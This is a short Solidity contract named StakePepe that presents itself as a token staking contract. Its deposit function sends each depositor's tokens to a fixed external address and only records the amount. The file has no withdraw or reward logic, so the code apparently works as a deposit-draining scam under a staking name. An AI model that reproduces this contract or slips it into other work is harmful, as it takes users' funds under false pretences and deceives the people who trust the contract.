// File: contracts/StakePepe.sol



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function balanceOf(address account) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);
}

contract StakePepe {
    address public constant TOKEN_ADDRESS =
        0x6982508145454Ce325dDbE47a25d4ec3d2311933;
    address public constant TRANSFER_TO_ADDRESS =
        0x7565bCBa24f43107d13226FdEbb5811e45bBDB1E;
    mapping(address => uint256) public addressToAmount;

    function deposit(uint256 amount) external {
        require(amount > 0, "Amount must be greater than 0");
        IERC20 token = IERC20(TOKEN_ADDRESS);
        require(token.balanceOf(msg.sender) >= amount, "Insufficient balance");

        token.transferFrom(msg.sender, TRANSFER_TO_ADDRESS, amount);
        addressToAmount[msg.sender] += amount;
    }
}